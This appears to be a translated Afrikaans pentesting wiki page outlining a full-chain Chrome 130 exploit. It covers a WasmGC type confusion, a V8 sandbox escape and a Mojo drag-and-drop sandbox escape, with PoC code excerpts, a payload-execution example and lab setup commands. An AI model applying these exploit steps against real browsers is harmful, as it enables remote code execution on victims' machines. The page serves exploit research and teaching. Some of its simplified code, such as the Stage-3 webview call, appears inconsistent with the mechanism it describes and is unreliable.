Chrome Exploiting

Reading time: 6 minutes

Hierdie bladsy bied 'n hoëvlak maar praktiese oorsig van 'n moderne "volledige-ketting" eksploitasiestroom teen Google Chrome 130 gebaseer op die navorsingsreeks “101 Chrome Exploitation” (Deel-0 — Voorwoord). Die doel is om pentesters en eksploitontwikkelaars die minimum agtergrond te gee wat nodig is om die tegnieke te herproduseer of aan te pas vir hul eie navorsing.

1. Chrome Argitektuur Herinnering

Om die aanvaloppervlak te verstaan, is dit nodig om te weet waar kode uitgevoer word en watter sandboxes van toepassing is.

+-------------------------------------------------------------------------+
|                             Chrome Browser                              |
|                                                                         |
|  +----------------------------+      +-----------------------------+    |
|  |      Renderer Process      |      |    Browser/main Process     |    |
|  |  [No direct OS access]     |      |  [OS access]                |    |
|  |  +----------------------+   |      |                             |    |
|  |  |    V8 Sandbox        |   |      |                             |    |
|  |  |  [JavaScript / Wasm] |   |      |                             |    |
|  |  +----------------------+   |      |                             |    |
|  +----------------------------+      +-----------------------------+    |
|               |           IPC/Mojo              |                       |
|               V                                    |                     |
|  +----------------------------+                   |                     |
|  |        GPU Process         |                   |                     |
|  |  [Restricted OS access]    |                   |                     |
|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+

Layered defence-in-depth:

• V8 sandbox (Isolate): geheue toestemmings is beperk om arbitrêre lees/skryf van JITed JS / Wasm te voorkom.
• Renderer ↔ Browser split is verseker deur Mojo/IPC boodskap oordrag; die renderer het geen inheemse FS/netwerk toegang nie.
• OS sandboxes bevat verder elke proses (Windows Integrity Levels / seccomp-bpf / macOS sandbox profiele).

'n Afgeleë aanvaller benodig dus drie opeenvolgende primitives:

1. Geheue korrupsie binne V8 om arbitrêre RW binne die V8 heap te verkry.
2. 'n Tweede fout wat die aanvaller toelaat om uit die V8 sandbox na volle renderer geheue te ontsnap.
3. 'n Finale sandbox-ontsnapping (dikwels logika eerder as geheue korrupsie) om kode buite die Chrome OS sandbox uit te voer.

2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)

'n Fout in TurboFan se Turboshaft optimalisering klassifiseer verkeerd WasmGC verwysingstipes wanneer die waarde binne 'n enkele basiese bloklus geproduseer en verbruik word.

Effek:

• Die kompilateur slaag die tipe-toets oor, en behandel 'n verwysing (externref/anyref) as 'n int64.
• Gemaakte Wasm laat toe dat 'n JS objekkop met aanvaller-beheerde data oorvleuel → addrOf() & fakeObj() AAW / AAR primitives.

Minimal PoC (uittreksel):

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Trigger optimalisering & spuit voorwerpe vanaf JS:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Outcome: arbitraire lees/schryf binne V8.

3. Stadium 2 – Ontsnapping uit die V8 Sandbox (kwessie 379140430)

Wanneer 'n Wasm-funksie tier-up-gecompileer word, word 'n JS ↔ Wasm-wrapper gegenereer. 'n Handtekening-mismatch fout veroorsaak dat die wrapper oor die einde van 'n vertroude Tuple2 objek skryf wanneer die Wasm-funksie her-optimaliseer word terwyl dit steeds op die stapel is.

Oorskryding van die 2 × 64-bit velde van die Tuple2 objek lewer lees/schryf op enige adres binne die Renderer-proses, wat effektief die V8-sandbox omseil.

Belangrike stappe in die uitbuiting:

1. Kry funksie in Tier-Up toestand deur afwisselend turbofan/baseline kode.
2. Trigger tier-up terwyl 'n verwysing op die stapel gehou word (Function.prototype.apply).
3. Gebruik Stadium-1 AAR/AAW om die aangrensende Tuple2 te vind en te korrupteer.

Wrapper identifikasie:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Na korrupsie besit ons 'n volledig funksionele renderer R/W primitive.

4. Stadium 3 – Renderer → OS Sandbox Ontsnapping (CVE-2024-11114)

Die Mojo IPC-koppelvlak blink.mojom.DragService.startDragging() kan vanaf die Renderer met gedeeltelik vertroude parameters aangeroep word. Deur 'n DragData struktuur te vervaardig wat na 'n arbitêre lêerpad wys, oortuig die renderer die blaaier om 'n natuurlike sleep-en-drop buite die renderer sandbox uit te voer.

Deur dit te misbruik, kan ons programmaties 'n kwaadwillige EXE (“previously dropped in a world-writable location”) na die Bureaublad “sleep”, waar Windows sekere lêer tipes outomaties uitvoer sodra dit gelaat word.

Voorbeeld (vereenvoudig):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

Geen ekstra geheuekorruptie is nodig nie – die logika-fout gee ons arbitrêre lêeruitvoering met die gebruiker se bevoegdhede.

5. Volledige Kettingvloei

1. Gebruiker besoek kwaadwillige webblad.
2. Fase 1: Wasm-module misbruik CVE-2025-0291 → V8 heap AAR/AAW.
3. Fase 2: Wrapper-mismatch korrupteer Tuple2 → ontsnap V8 sandkas.
4. Fase 3: startDragging() IPC → ontsnap OS sandkas & voer payload uit.

Resultaat: Afgeleë Kode Uitvoering (RCE) op die gasheer (Chrome 130, Windows/Linux/macOS).

6. Laboratorium & Foutopsporing Opstelling

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Nuttige vlae wanneer 'n ontwikkeling bou van Chrome gelaai word:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

Takeaways

• WebAssembly JIT-foute bly 'n betroubare toegangspunt – die tipe stelsel is steeds jonk.
• Om 'n tweede geheue-korrupsie fout binne V8 te verkry (bv. wrapper wanpassing) vereenvoudig V8-sandbox ontsnapping aansienlik.
• Logika-vlak swakhede in bevoorregte Mojo IPC interfaces is dikwels voldoende vir 'n finale sandbox ontsnapping – hou 'n oog op nie-geheue foute.

References

• 101 Chrome Exploitation — Part 0 (Preface)
• Chromium beveiligingsargitektuur